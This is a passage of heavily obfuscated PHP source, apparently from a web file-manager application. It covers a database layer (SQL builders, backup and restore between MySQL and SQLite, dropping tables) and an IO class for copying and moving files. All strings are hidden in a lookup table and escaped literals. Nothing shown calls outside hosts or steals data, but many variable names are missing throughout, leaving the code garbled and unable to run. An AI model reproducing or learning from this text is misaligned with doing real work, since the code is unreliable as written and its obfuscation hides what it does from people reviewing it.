(isset($ޟ[$Ɯ¬[425]])) { $Έ = $Ɯ¬[1117]; unset($ޟ[$Ɯ¬[425]]); } else { $Έ = $Ɯ¬[1118]; } foreach ($ޟ as $Ć) { $[] = $Έ . (is_array($Ć) ? $this->buildSelectSql($Ć) : $Ć); } return implode($Ɯ¬[53], $); } public function insert($宀, $Ԥ = array(), $ = false) { $ =& $_SERVER[ձК]; $ = $ = array(); $this->model = $Ԥ[$[360]]; foreach ($宀 as $ => $̴) { if (is_array($̴) && $[374] == $̴[0]) { $[] = $this->parseKey($); $[] = $̴[1]; } elseif (is_scalar($̴) || is_null($̴)) { $[] = $this->parseKey($); $[] = $this->parseValue($̴); } } $ = ($ ? $[986] : $[987]) . $[988] . $this->parseTable($Ԥ[$[358]]) . $[982] . implode($[50], $) . $[983] . implode($[50], $) . $[984]; $ .= $this->parseLock(isset($Ԥ[$[918]]) ? $Ԥ[$[918]] : !1); $ .= $this->parseComment(!empty($Ԥ[$[431]]) ? $Ԥ[$[431]] : $[12]); return $this->execute($, $this->parseBind(!empty($Ԥ[$[362]]) ? $Ԥ[$[362]] : array())); } public function selectInsert($, $۳, $䶎 = array()) { $켹 =& $_SERVER[ձК]; $this->model = $䶎[$켹[360]]; if (is_string($)) { $ = explode($켹[50], $); } array_walk($, array($this, $켹[985])); $颩 = $켹[1119] . $this->parseTable($۳) . $켹[982] . implode($켹[50], $) . $켹[1097]; $颩 .= $this->buildSelectSql($䶎); return $this->execute($颩, $this->parseBind(!empty($䶎[$켹[362]]) ? $䶎[$켹[362]] : array())); } public function update($뉍, $̠Ê) { $ש =& $_SERVER[ձК]; $this->model = $̠Ê[$ש[360]]; $ = $ש[1120] . $this->parseTable($̠Ê[$ש[358]]) . $this->parseSet($뉍) . $this->parseWhere(!empty($̠Ê[$ש[354]]) ? $̠Ê[$ש[354]] : $ש[12]) . $this->parseOrder(!empty($̠Ê[$ש[443]]) ? $̠Ê[$ש[443]] : $ש[12]) . $this->parseLimit(!empty($̠Ê[$ש[369]]) ? $̠Ê[$ש[369]] : $ש[12]) . $this->parseLock(isset($̠Ê[$ש[918]]) ? $̠Ê[$ש[918]] : !1) . $this->parseComment(!empty($̠Ê[$ש[431]]) ? $̠Ê[$ש[431]] : $ש[12]); return $this->execute($, $this->parseBind(!empty($̠Ê[$ש[362]]) ? $̠Ê[$ש[362]] : array())); } public function delete($ͤ = array()) { $ =& $_SERVER[ձК]; $this->model = $ͤ[$[360]]; $ = $[1121] . $this->parseTable($ͤ[$[358]]) . $this->parseWhere(!empty($ͤ[$[354]]) ? $ͤ[$[354]] : $[12]) . $this->parseOrder(!empty($ͤ[$[443]]) ? $ͤ[$[443]] : $[12]) . $this->parseLimit(!empty($ͤ[$[369]]) ? $ͤ[$[369]] : $[12]) . $this->parseLock(isset($ͤ[$[918]]) ? $ͤ[$[918]] : !1) . $this->parseComment(!empty($ͤ[$[431]]) ? $ͤ[$[431]] : $[12]); return $this->execute($, $this->parseBind(!empty($ͤ[$[362]]) ? $ͤ[$[362]] : array())); } public function select($翄° = array()) { $ =& $_SERVER[ձК]; $this->model = $翄°[$[360]]; $ = $this->buildSelectSql($翄°); $Я = isset($翄°[$[426]]) ? $翄°[$[426]] : !1; if ($Я) { $ = is_string($Я[$[97]]) ? $Я[$[97]] : $[1122] . md5($); $⚫ = think_cache($, $[12], $Я); if (!1 !== $⚫) { return $⚫; } } $ = $this->query($, $this->parseBind(!empty($翄°[$[362]]) ? $翄°[$[362]] : array())); if ($Я && !1 !== $) { think_cache($, $, $Я); } return $; } public function buildSelectSql($ݲ = array()) { $ӝ =& $_SERVER[ձК]; if (isset($ݲ[$ӝ[430]])) { if (strpos($ݲ[$ӝ[430]], $ӝ[50])) { list($՛, $ۿ) = explode($ӝ[50], $ݲ[$ӝ[430]]); } else { $՛ = $ݲ[$ӝ[430]]; } $՛ = $՛ ? $՛ : 1; $ۿ = isset($ۿ) ? $ۿ : (is_numeric($ݲ[$ӝ[369]]) ? $ݲ[$ӝ[369]] : 20); $ʿ = $ۿ * ((int) $՛ - 1); $ݲ[$ӝ[369]] = $ʿ . $ӝ[50] . $ۿ; } if (think_config($ӝ[1123])) { $ = $ӝ[1124] . md5(serialize($ݲ)); $ = think_cache($); if ($) { return $; } } $ = $this->parseSql($this->selectSql, $ݲ); $ .= $this->parseLock(isset($ݲ[$ӝ[918]]) ? $ݲ[$ӝ[918]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($̯, $Ľ = array()) { $枀 =& $_SERVER[ձК]; $̯ = str_replace(array($枀[1125], $枀[1126], $枀[1127], $枀[1128], $枀[1129], $枀[1130], $枀[1131], $枀[1132], $枀[1133], $枀[1134], $枀[1135]), array($this->parseTable("{$Ľ[$枀[358]]}"), $this->parseDistinct(isset($Ľ[$枀[1136]]) ? $Ľ[$枀[1136]] : !1), $this->parseField(!empty($Ľ[$枀[352]]) ? $Ľ[$枀[352]] : $枀[222]), $this->parseJoin(!empty($Ľ[$枀[361]]) ? $Ľ[$枀[361]] : $枀[12]), $this->parseWhere(!empty($Ľ[$枀[354]]) ? $Ľ[$枀[354]] : $枀[12]), $this->parseGroup(!empty($Ľ[$枀[580]]) ? $Ľ[$枀[580]] : $枀[12]), $this->parseHaving(!empty($Ľ[$枀[1137]]) ? $Ľ[$枀[1137]] : $枀[12]), $this->parseOrder(!empty($Ľ[$枀[443]]) ? $Ľ[$枀[443]] : $枀[12]), $this->parseLimit(!empty($Ľ[$枀[369]]) ? $Ľ[$枀[369]] : $枀[12]), $this->parseUnion(!empty($Ľ[$枀[424]]) ? $Ľ[$枀[424]] : $枀[12]), $this->parseComment(!empty($Ľ[$枀[431]]) ? $Ľ[$枀[431]] : $枀[12])), $̯); return $̯; } public function getLastSql($Dž = '') { return $Dž ? $this->modelSql[$Dž] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($) { return addslashes($); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($ = array()) { $曔 =& $_SERVER[ձК]; if (empty($)) { $ = $GLOBALS[$曔[6]][$曔[21]]; } $this->database = $; } public function model($ո = '') { return new ModelBase($ո, $_SERVER[ձК][12], $this->database); } public function db($ = false) { $ =& $_SERVER[ձК]; $Ǧ = array_change_key_case($this->database); if ($this->dbType() == $[13] || !$) { return $this->model()->db(); } $ = $Ǧ[$[1051]]; $Ǧ[$[1051]] = $[12]; if ($Ǧ[$[1046]] == $[1043]) { $ = $Ǧ[$[1052]]; $Ǧ[$[1052]] = substr($, 0, strrpos($, $[1138])); } $this->database = $Ǧ; $ɾ = $this->model()->db(); try { $ = $ɾ->execute("\163\150\157\167\40\144\x61\164\141\x62\141\x73\x65\x73\40\154\151\x6b\x65\40\x27{$}\47"); } catch (Exception $˦) { } if (!$) { $ɾ->execute("\x63\162\145\141\164\x65\x20\x64\141\x74\141\142\x61\x73\x65\x20\x60{$}\x60"); } $Ǧ[$[1051]] = $; if ($Ǧ[$[1046]] == $[1043]) { $Ǧ[$[1052]] .= $[1138] . $; } $this->database = $Ǧ; $ɾ->execute("\165\x73\x65\40\x60{$}\x60"); return $ɾ; } public function createTable($, &$ۺ) { $ =& $_SERVER[ձК]; if (!IO::exist($)) { ActionCall($[1139], !0, 0); show_json(LNG($[1140]), !1); } $ = $this->model()->db(); $ = sqlSplit(IO::getContent($)); foreach ($ as $Ѕ) { $͇ = stripos($Ѕ, $[1141]) === 0; if ($͇) { $ۺ->task[$[1142]] += 1; } $->execute($Ѕ); if ($͇) { preg_match($[1143], $Ѕ, $ؤ); $ۺ->task[$[1144]] = $ؤ[1]; $ۺ->update(1); } } } public function insertTable($Ӽ, &$ݵ) { $֣ =& $_SERVER[ձК]; $ = $this->model()->db(); $½ = $ֻ ? array($ֻ) : $->getTables(); foreach ($Ӽ as $) { $ֻ = basename($, $֣[863]); if (!in_array($ֻ, $½)) { continue; } $ݵ->task[$֣[1144]] = $ֻ; if (get_filesize($) == 0) { continue; } $ގΘ = $this->sqlToDb($, $ݵ); if (!$ގΘ) { ActionCall($֣[1139], !0, 0); show_json(LNG($֣[1145]) . "\x5b{$ֻ}\135", !1); } } } public function sqlFromDb($̸, $ב, &$ʟ, $͐ = '') { if ($ʟ) { $ʟ->task[$_SERVER[ձК][1144]] = $̸; } $ = $this->model($̸); $ = 0; $ = 0; $ = 10000; $ɅϘ = fopen($ב, $_SERVER[ձК][1146]); $ = $->getPk(); $ = $->getDbFields(); $ଡ଼ = $_SERVER[ձК][12]; if ($GLOBALS[$_SERVER[ձК][862]] && in_array($̸, array($_SERVER[ձК][1147], $_SERVER[ձК][1148]))) { $ଡ଼ = $̸; } do { $ɴ = array($ => array($_SERVER[ձК][1093], $)); $ = $->where($ɴ)->field($)->order($ . $_SERVER[ձК][1149])->limit($)->select(); $ = !empty($) ? $ : array(); if (!($Ć = count($))) { break; } $ = end($); $ = $[$]; $ = array(); foreach ($ as $е) { if ($ଡ଼) { if ($̸ == $_SERVER[ձК][1147]) { if ($е[$_SERVER[ձК][33]] == $_SERVER[ձК][1150]) { $ = json_decode($е[$_SERVER[ձК][452]], !0); if ($[$_SERVER[ձК][32]] == $GLOBALS[$_SERVER[ձК][862]] && $[$_SERVER[ձК][824]] != 1) { continue; } } } else { if ($е[$_SERVER[ձК][33]] == $_SERVER[ձК][1151] && $е[$_SERVER[ձК][97]] == $_SERVER[ձК][857]) { continue; } } } if ($͐) { $е[$_SERVER[ձК][87]] = "\x7b\151\157\x3a{$͐}\x7d" . substr($е[$_SERVER[ձК][87]], strlen("\x7b\x69\157\x3a{$е[$_SERVER[ձК][892]]}\x7d")); $е[$_SERVER[ձК][892]] = $͐; } $[] = $_SERVER[ձК][1152] . $this->sqlEncode($е) . $_SERVER[ձК][1153]; } $ = "\x49\116\123\x45\122\x54\x20\x49\x4e\124\x4f\40\140{$̸}\x60\x20\50\x60" . implode($_SERVER[ձК][1154], $) . $_SERVER[ձК][1155]; fwrite($ɅϘ, $ . implode($_SERVER[ձК][1156], $) . $_SERVER[ձК][74] . PHP_EOL); $ += $Ć; if ($ʟ) { $ʟ->update($Ć); } } while ($ == $Ć); fclose($ɅϘ); return $; } public function sqlToDb($і˛, &$£߭) { $ =& $_SERVER[ձК]; $ = $this->model()->db(); $ޔ = @fopen($і˛, $[1157]); if (!$ޔ) { return !1; } $ = 0; $ې = $[12]; $ߴ = array(); $ = $this->dbType(); $͛ = $ == $[13] ? 500 : 2000; $å = basename($і˛, $[863]); $ = 0; $ = 4194304; while (!feof($ޔ)) { $ٲ = trim(fgets($ޔ)); if (!$ٲ) { continue; } $ = $this->sqlDecode($ٲ, $, $å); if (stripos($, $[432]) === 0) { if (!$ې) { $ې = $ . $[53]; } continue; } if ($£߭) { $£߭->task[$[1142]] += 1; } $++; $ߴ[] = rtrim(rtrim(trim($), $[50]), $[74]); $⻥ = null; $ = strlen($); $ += $; $ = strlen($ې) + $ + (count($ߴ) - 1); if ($ >= $) { $⻥ = array_pop($ߴ); if ($ > 1) { $--; } } if ($ >= $͛ || $⻥) { $ = $ې . implode($[50], $ߴ); if (!$->execute($)) { return !1; } if ($£߭) { $£߭->update($); } $ߴ = array(); $ = 0; $ = 0; if ($⻥) { $ߴ = array($⻥); $ = 1; $ = $; } } } fclose($ޔ); if (!empty($ߴ)) { $ = $ې . implode($[50], $ߴ); if (!$->execute($)) { return !1; } if ($£߭) { $£߭->update($); } } return !0; } public function dropTable($˝ = null) { $Ϲ = $this->model()->db(); $ڮ = $˝ ? array($˝) : $Ϲ->getTables(); if (!$ڮ) { return; } foreach ($ڮ as $˝) { if ($˝) { $˝ = strtolower($˝); } else { continue; } $Ϲ->execute("\x64\162\x6f\160\x20\x74\x61\142\154\x65\40\x69\x66\x20\x65\170\x69\163\164\x73\x20\140{$˝}\140"); } } private function sqlEncode($) { $͡ =& $_SERVER[ձК]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($͡[1158], $͡[287], $͡[419]), array($͡[1159], $͡[1160], $͡[1161]), $); $[] = $; } return $͡[58] . implode($͡[1162], $) . $͡[58]; } private function sqlDecode($슐Ą, $, $Ƈ = '') { $ =& $_SERVER[ձК]; $슐Ą = str_replace(array($[1159], $[1160], $[1161]), array($[1158], $[287], $[419]), $슐Ą); if ($ == $[13]) { $슐Ą = str_ireplace($[1163], $[59], $슐Ą); $슐Ą = stripslashes($슐Ą); } return preg_replace($[1164], $[12], $슐Ą); if ($ == $[13]) { return $Ƈ != $[856] ? stripslashes($슐Ą) : $슐Ą; } if ($Ƈ == $[856]) { $슐Ą = str_replace($[1165], $[121], stripslashes($슐Ą)); } return $슐Ą; } public function getSqlFile($̻ = '') { $ɗ͂ =& $_SERVER[ձК]; $ = $this->dbType(!0); $ = CONTROLLER_DIR . "\151\156\163\164\141\154\154\57\x64\141\x74\x61\x2f{$}\x2e\163\161\x6c"; $ = file_get_contents($); $ߝ = $ɗ͂[1166] . ($ == $ɗ͂[879] ? $ɗ͂[1167] : $ɗ͂[1168]) . $ɗ͂[1169]; preg_match_all($ߝ, $, $ͣ); $ߥ = $ͣ[1]; $ = $this->model()->db(); $ = $->getTables(); $Ѝ = TEMP_FILES . $ɗ͂[1170] . date($ɗ͂[261]) . $ɗ͂[8]; del_dir($Ѝ); mk_dir($Ѝ); $懽§ = $Ѝ . $ɗ͂[1171]; $ = $Ѝ . $ɗ͂[1172]; $ = $ == $ɗ͂[13] ? $ɗ͂[879] : $ɗ͂[13]; IO::copy(CONTROLLER_DIR . "\151\156\163\164\141\x6c\x6c\57\144\141\164\141\x2f{$}\56\x73\161\154", $Ѝ); @touch($Ѝ . $ . $ɗ͂[863]); $ = fopen($懽§, $ɗ͂[1146]); $ = fopen($, $ɗ͂[1146]); if ($ == $ɗ͂[13]) { $ = array_diff($, array($ɗ͂[854], $ɗ͂[855])); $ = array($ɗ͂[1173], $ɗ͂[1174], $ɗ͂[1175]); fwrite($, implode(PHP_EOL, $) . PHP_EOL . PHP_EOL); foreach ($ as $ʊ) { $ = $this->sqlFromSqlite($ʊ); if (!$[$ɗ͂[13]]) { continue; } fwrite($, $[$ɗ͂[13]] . PHP_EOL . PHP_EOL); if (!in_array($ʊ, $ߥ)) { fwrite($, $[$ɗ͂[879]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $ʊ) { $ = $this->sqlFromMysql($ʊ); if (!$[$ɗ͂[879]]) { continue; } fwrite($, $[$ɗ͂[879]] . PHP_EOL . PHP_EOL); if (!in_array($ʊ, $ߥ)) { fwrite($, $[$ɗ͂[13]] . PHP_EOL . PHP_EOL); } } } fclose($); fclose($); $ = array($ɗ͂[879] => $懽§, $ɗ͂[13] => $); return $̻ ? $[$̻] : $; } public function dbType($ = false) { $¯ =& $_SERVER[ձК]; $ҩ = $ ? $GLOBALS[$¯[6]][$¯[21]] : $this->database; $ҩ = array_change_key_case($ҩ); $ = $ҩ[$¯[1046]]; if ($ == $¯[1043]) { $û䪝 = explode($¯[4], $ҩ[$¯[1052]]); $ = $û䪝[0]; } $ = array($¯[1176] => $¯[13], $¯[991] => $¯[879]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($, $˽ = '') { $ӻ =& $_SERVER[ձК]; $ = $this->model()->db(); $ = $->query($ӻ[1177] . $ . $ӻ[463]); if (!$ || !$[0]) { return !1; } $愥 = _get($[0], $ӻ[1178], $ӻ[12]); if (!$愥) { return !1; } $ò = "\104\x52\x4f\120\x20\x54\x41\102\114\x45\40\111\106\40\105\130\111\x53\x54\x53\x20\x60{$}\x60\x3b" . PHP_EOL . $愥 . $ӻ[74]; if ($˽ && $˽ == $ӻ[879]) { return $ò; } $ = array_change_key_case($GLOBALS[$ӻ[6]][$ӻ[21]]); $̠ƛ = $[$ӻ[1051]]; $Ԁ = $ӻ[1179] . $̠ƛ . $ӻ[1180] . $ . $ӻ[58]; $՛ = $ӻ[1181] . $ . $ӻ[979]; $ = $->query($Ԁ); if (empty($)) { $ = array($ӻ[879] => $ӻ[12], $ӻ[13] => $ӻ[12]); return $˽ ? $[$˽] : $; } $ށ = $->query($՛); $ƌ = $ӻ[12]; $ = array(); foreach ($ށ as $) { if (!$ƌ && $[$ӻ[1182]] == $ӻ[1183]) { $ƌ = $[$ӻ[1184]]; } if (isset($[$[$ӻ[1182]]])) { $[$[$ӻ[1182]]][$ӻ[1185]][] = $[$ӻ[1184]]; continue; } $[$[$ӻ[1182]]] = array($ӻ[1186] => $[$ӻ[1182]], $ӻ[1185] => array($[$ӻ[1184]]), $ӻ[1187] => $[$ӻ[1188]] == $ӻ[91] ? 0 : 1); } $ʞ = array(); foreach ($ as $) { $ۉ = $[$ӻ[1186]] == $ӻ[1183]; $ڨ = array($ӻ[1189], $[$ӻ[1187]] == $ӻ[91] && !$ۉ ? $ӻ[1190] : $ӻ[12], $ӻ[1191], $ӻ[1192] . $ . $ӻ[11] . ($ۉ ? $ӻ[1193] : $[$ӻ[1186]]) . $ӻ[121], $ӻ[1194], $ӻ[121] . $ . $ӻ[121], $ӻ[1195] . implode($ӻ[1196], $[$ӻ[1185]]) . $ӻ[1197]); $ʞ[] = implode($ӻ[53], $ڨ) . $ӻ[74]; } $É = array(); $ê = array($ӻ[1198] => $ӻ[1199], $ӻ[1199] => $ӻ[1199], $ӻ[365] => $ӻ[392], $ӻ[364] => $ӻ[392]); foreach ($ as $) { $ڨ = array($ӻ[121] . $[$ӻ[1200]] . $ӻ[121], isset($ê[$[$ӻ[1201]]]) ? $ê[$[$ӻ[1201]]] : $[$ӻ[1202]], $[$ӻ[1203]] == $ӻ[977] ? $ӻ[1204] : $ӻ[1205], $[$ӻ[1200]] == $ƌ ? $ӻ[1206] : $ӻ[12], $[$ӻ[1028]] ? strtoupper(str_replace($ӻ[11], $ӻ[12], $[$ӻ[1028]])) : $ӻ[12]); $É[] = trim(implode($ӻ[53], $ڨ)); } $ȇ = array($ӻ[1207] . $ . $ӻ[1208], $ӻ[1209] . $ . $ӻ[1210], implode($ӻ[50] . PHP_EOL, $É), $ӻ[1025]); $ = implode(PHP_EOL, array_merge($ȇ, $ʞ)); if ($˽ && $˽ == $ӻ[13]) { return $; } $ = array($ӻ[879] => $ò, $ӻ[13] => $); return $˽ ? $[$˽] : $; } public function sqlFromSqlite($ȭﵡ, $ = '') { $ =& $_SERVER[ձК]; $ = $this->model()->db(); $ = "\x50\122\101\107\115\x41\40\124\x41\102\x4c\x45\x5f\111\x4e\x46\x4f\40\50\47{$ȭﵡ}\x27\51"; $ݴ = "\123\x45\114\x45\x43\124\x20\52\x20\x46\x52\x4f\x4d\x20\x73\161\154\151\x74\x65\137\155\x61\x73\164\x65\162\x20\127\110\105\x52\x45\40\x74\x62\x6c\137\156\x61\155\145\40\75\x20\47{$ȭﵡ}\x27"; $ = $->query($); if (empty($)) { $쯚 = array($[879] => $[12], $[13] => $[12]); return $ ? $쯚[$] : $쯚; } $ = $->query($ݴ); $֡ = $谌 = array(); foreach ($ as $ь) { if ($ь[$[33]] == $[358]) { $֡[] = $ь[$[1211]]; } else { $谌[$ь[$[32]]] = $ь[$[1211]]; } } $Ѩ = array_merge(array($[1207] . $ȭﵡ . $[121]), $֡, array_values($谌)); $Ѩ = implode($[74] . PHP_EOL, $Ѩ) . $[74]; if ($ && $ == $[13]) { return $Ѩ; } $ = array(); foreach ($谌 as $ƍ => $) { $Ҩ = str_replace($[1212] . $ȭﵡ . $[11], $[12], $ƍ); $Ҩ = str_replace($ȭﵡ . $[11], $[12], $ƍ); $ٕ = str_replace(array($[121], $[1036]), $[463], substr($, stripos($, $[339]))); $[$Ҩ] = $ٕ; } $ = array(); $ = array($[1199] => $[1213], $[392] => $[1214]); $ = $ؗ = $[12]; foreach ($ as $ь) { if ($ь[$[57]] == $[91]) { $ = $ь[$[32]]; } $ó = $ь[$[33]]; if ($ó == $[1215] && isset($[$ь[$[32]]])) { $ó = $[1216]; } $ل = array($[463] . $ь[$[32]] . $[463], _get($, $ó, $ó), $ь[$[35]] == $[91] ? $[1204] : $[1217] . $ь[$[56]], $ь[$[57]] == $[91] ? $[1218] : $[12]); $[] = trim(implode($[53], $ل)); } foreach ($ as $Ҩ => $ٕ) { if ($Ҩ == $[1193]) { $ = $ؗ = $[1219] . $ . $[1220]; } else { $ = (stripos($Ҩ, $[11]) ? $[1221] : $[12]) . ($[1222] . $Ҩ . $[1223] . $ٕ); } $[] = $; } if ($ && !$ؗ) { $ = array_merge(array($[1219] . $ . $[1220]), $); } $ϲ = array($[1224] . $ȭﵡ . $[1225], $[1226] . $ȭﵡ . $[1227], implode($[50] . PHP_EOL, $), $[1228]); $Ʌ = implode(PHP_EOL, $ϲ); if ($ && $ == $[879]) { return $Ʌ; } $쯚 = array($[879] => $Ʌ, $[13] => $Ѩ); return $ ? $쯚[$] : $쯚; } } class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $罜 =& $_SERVER[ձК]; $̱ = $; $GLOBALS[$罜[1229]] = $罜[1230] . $; Hook::trigger($罜[1230] . $ . $罜[1231], $̱); $Ȭ = self::driverMake($[0]); if (!$Ȭ) { return !1; } if (method_exists($Ȭ, $)) { $ = @call_user_func_array(array($Ȭ, $), $); } else { if (method_exists($Ȭ, $罜[1232])) { $ = @call_user_func_array(array($Ȭ, $), $); } else { if (method_exists(self, $)) { $ = @call_user_func_array(array(self, $), $); } else { $ = call_user_func_array(array(parent, $), $); } } } Hook::trigger($罜[1230] . $ . $罜[1233], $̱, $); return $; } public static function init($؈) { return self::driverMake($؈); } public static function copy($, $䧤, $㉀ = false, $ٓ = false) { return self::copyMoveStart($, $䧤, $㉀, $_SERVER[ձК][623], $ٓ); } public static function move($, $, $ = false, $聨Ю = false) { return self::copyMoveStart($, $, $, $_SERVER[ձК][625], $聨Ю); } public static function copyMoveChildren($, $ꘁ, $ = "\x63\157\x70\171", $紸 = REPEAT_REPLACE) { $ۚ =& $_SERVER[ձК]; $ۥ = $; $ = self::driverMake($); $ů = $->listPath($, !0); $ = array_merge($ů[$ۚ[86]], $ů[$ۚ[85]]); foreach ($ as $̑һ) { self::copyMoveStart($̑һ[$ۚ[87]], $ꘁ, $紸, $, !1); } if ($ == $ۚ[625]) { self::remove($ۥ); } } private static function copyMoveStart($˼, $, $, $ݮ, $ؒ) { $ =& $_SERVER[ձК]; $܋ = array($˼, $, $, $ؒ); Hook::trigger($[1230] . $ݮ . $[1231], $܋); $ۘ = self::copyMove($˼, $, $, $ݮ, $ؒ); Hook::trigger($[1230] . $ݮ . $[1233], $܋, $ۘ); return $ۘ; } public static function saveFile($㉐, $ү, $ = true) { $ꢡ =& $_SERVER[ձК]; $ۭ = self::info($ү); $ = self::driverMake($㉐); $ = self::driverMake($ү); $ = !1; if ($->pathParse[$ꢡ[1234]]) { $ = $; $ = $->pathParse[$ꢡ[1234]]; $ = self::driverMake($); } if ($->pathParse[$ꢡ[1234]]) { $ = $->pathParse[$ꢡ[1234]]; $ = self::driverMake($); } $ = $->pathFather($ү); $ = !0; if (!$ && self::driverIsSame($, $)) { $ = !1; } $ = self::copyFile($, $㉐, $, $, $ۭ[$ꢡ[32]], $); if ($) { $ = $->getPathOuter($); } return $; } private static function copyMove($, $ٚ, $, $, $ڴ = false) { $Ҫ蓁 =& $_SERVER[ձК]; if (!$ || $ == $Ҫ蓁[8] || !$ٚ) { return !1; } ignore_timeout(); $Ҫ㥖 = self::driverMake($); $鳱 = self::driverMake($ٚ); $ġ = $ == $Ҫ蓁[625]; $Җ = !1; if ($鳱->pathParse[$Ҫ蓁[1234]]) { $Җ = $鳱; $ٚ = $鳱->pathParse[$Ҫ蓁[1234]]; $鳱 = self::driverMake($ٚ); } if ($Ҫ㥖->pathParse[$Ҫ蓁[1234]]) { $ = $Ҫ㥖->pathParse[$Ҫ蓁[1234]]; $Ҫ㥖 = self::driverMake($); } self::check($Ҫ㥖, $, $鳱, $ٚ); Hook::trigger($Ҫ蓁[1235], $Ҫ㥖, $, $鳱, $ٚ); $ݙ = self::driverIsSame($Ҫ㥖, $鳱); if ($ݙ) { if ($ == $Ҫ蓁[625] && !method_exists($鳱, $Ҫ蓁[1236]) && trim($ٚ, $Ҫ蓁[8]) == trim($鳱->pathFather($), $Ҫ蓁[8])) { if ($Ҫ㥖->pathThis($) != $ڴ && !$Ҫ㥖->isOsDriver()) { return $Ҫ㥖->rename($, $ڴ); } return $鳱->getPathOuter($); } if (method_exists($鳱, $)) { return $鳱->{$}($, $ٚ, $, $ڴ); } } if ($ݙ && $ == $Ҫ蓁[625] && $鳱->getType() == $Ҫ蓁[109]) { $梚 = $鳱->movePath($, $ٚ, $ڴ); if ($梚) { return $梚; } } $Ĩ = $Ҫ㥖->isFile($); if (!$Ĩ && $鳱->getType() == $Ҫ蓁[831] && $Ҫ㥖->getType() == $Ҫ蓁[109]) { $梚 = $鳱->copyFolderFromIO($Ҫ㥖, $, $ٚ, $, $ġ, $ڴ); } else { $梚 = self::copyPath($Ҫ㥖, $, $鳱, $ٚ, $, $ġ, $Ĩ, $ڴ); } if ($梚 && $ġ) { $Ҫ㥖->remove($); } if ($Җ) { $梚 = $Җ->getPathOuter($梚); } return $梚; } private static function check($, $ы, $㭄, &$Ӯϥ) { $ =& $_SERVER[ձК]; if (self::driverIsSame($, $㭄) && $->isFolder($ы) && $->isParentOf($ы, $Ӯϥ)) { show_json(LNG($[1237]), !1); } if (!$->exist($ы)) { show_json(LNG($[108]), !1); } } private static function copyPath($ٗ, $ұ, $, $Ӝ, $文, $ڂ, $, $Ċ = false, $ޫ = true) { $Ȯߊ =& $_SERVER[ձК]; $ڜز̸ = empty($Ċ) && $Ċ !== $Ȯߊ[230] ? $ٗ->pathThis($ұ) : $Ċ; if ($文) { $ = $->fileNameExist($Ӝ, $ڜز̸); $ⷊ = $ڜز̸; $ڜز̸ = $->fileNameAuto($Ӝ, $ڜز̸, $文, !$); if (!$ || $ⷊ != $ڜز̸) { $文 = !1; } if ($ޫ && !$文) { $->_data[$Ȯߊ[1238]] = !0; } } if ($) { return self::copyFile($ٗ, $ұ, $, $Ӝ, $ڜز̸, $ڂ); } if ($文 == REPEAT_RENAME_FOLDER) { $文 = !1; } $߰ = rtrim($Ӝ, $Ȯߊ[8]) . $Ȯߊ[8] . $ڜز̸; $ = $->mkdir($->getPath($߰), $文); $Ӝ = $->getPathInner($); $ = $ٗ->listPath($ұ, !0); $ = is_array($) ? $ : array($Ȯߊ[86] => array(), $Ȯߊ[85] => array()); $쾆 = array_merge($[$Ȯߊ[86]], $[$Ȯߊ[85]]); foreach ($쾆 as $) { $ = $[$Ȯߊ[33]] == $Ȯߊ[232]; $ұ = $ٗ->getPathInner($[$Ȯߊ[87]]); $ = self::copyPath($ٗ, $ұ, $, $Ӝ, $文, $ڂ, $, !1, !1); if (!$) { IO::errorTips($Ȯߊ[1239] . $ұ . $Ȯߊ[73] . $Ӝ); } } self::copyMoveKeepInfo($ٗ, $ұ, $); return $; } private static function copyFile($ӵ, $, $˦, $֍, $ͪ, $ԉڇ) { $ =& $_SERVER[ձК]; $֍ = $˦->getPath(rtrim($֍, $[8]) . $[8] . $ͪ); $ = $[1240] . time() . rand_string(5); Hook::trigger($[1241], $ӵ, $, $˦, $֍, $ͪ, $); if (self::driverIsSame($ӵ, $˦)) { if ($ԉڇ) { $ᰤ = $˦->moveFile($, $֍); } else { $ᰤ = $˦->copyFile($, $֍); } Hook::trigger($[1242], $ӵ, $, $˦, $֍, $ͪ, $ᰤ); self::copyMoveKeepInfo($ӵ, $, $ᰤ); return $ᰤ; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[871]]) { $ = $GLOBALS[$[6]][$[92]][$[871]]; } $ߵ = $; mk_dir($ߵ); $ʤ = $ߵ . $; $ƪȞ = $ʤ; $ʤ = $ӵ->download($, $ʤ); $ʤ = $ӵ->iconvApp($ʤ); if (substr($ʤ, strlen($)) == $) { $ԉڇ = !0; } $ᰤ = $˦->upload($֍, $ʤ, $ԉڇ); self::remove($ƪȞ); Hook::trigger($[1242], $ӵ, $, $˦, $֍, $ͪ, $ᰤ); self::copyMoveKeepInfo($ӵ, $, $ᰤ); return $ᰤ; } private static function copyMoveKeepInfo($쭈, $˜, $) { if (!$) { return; } $ = $쭈->info($˜); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[ձК][88]]); } public static function pathFather($¥) { $ = IO::init($¥); $ = $->pathFather($->path); return $->getPathOuter($); } public static function fileOut($, $IJ = false, $ = false, $ = '') { $¸߽ = self::driverMake($); if ($¸߽->isFileOutServer()) { return $¸߽->fileOutServer($, $IJ, $, $); } return $¸߽->fileOut($, $IJ, $, $); } public static function fileOutImage($ɥ, $ɦ = 250) { $ŒԤ = array(250, 600, 1200, 2000, 3000, 5000); for ($ҭ = 0; $ҭ < count($ŒԤ); $ҭ++) { if ($ҭ == 0 && $ɦ <= $ŒԤ[$ҭ]) { $ɦ = $ŒԤ[$ҭ]; break; } else { if ($ɦ > $ŒԤ[$ҭ - 1] && $ɦ <= $ŒԤ[$ҭ]) { $ɦ = $ŒԤ[$ҭ]; break; } else { if ($ҭ == count($ŒԤ) - 1 && $ɦ > $ŒԤ[$ҭ]) { $ɦ = $ŒԤ[$ҭ]; break; } } } } $وˡ = self::driverMake($ɥ); if ($وˡ->isFileOutServer()) { return $وˡ->fileOutImageServer($ɥ, $ɦ); } return $وˡ->fileOutImage($ɥ, $ɦ); } private static function driverIsSame($, $ٿ) { $Ӝ =& $_SERVER[ձК]; $ = $->getType(); $잚 = 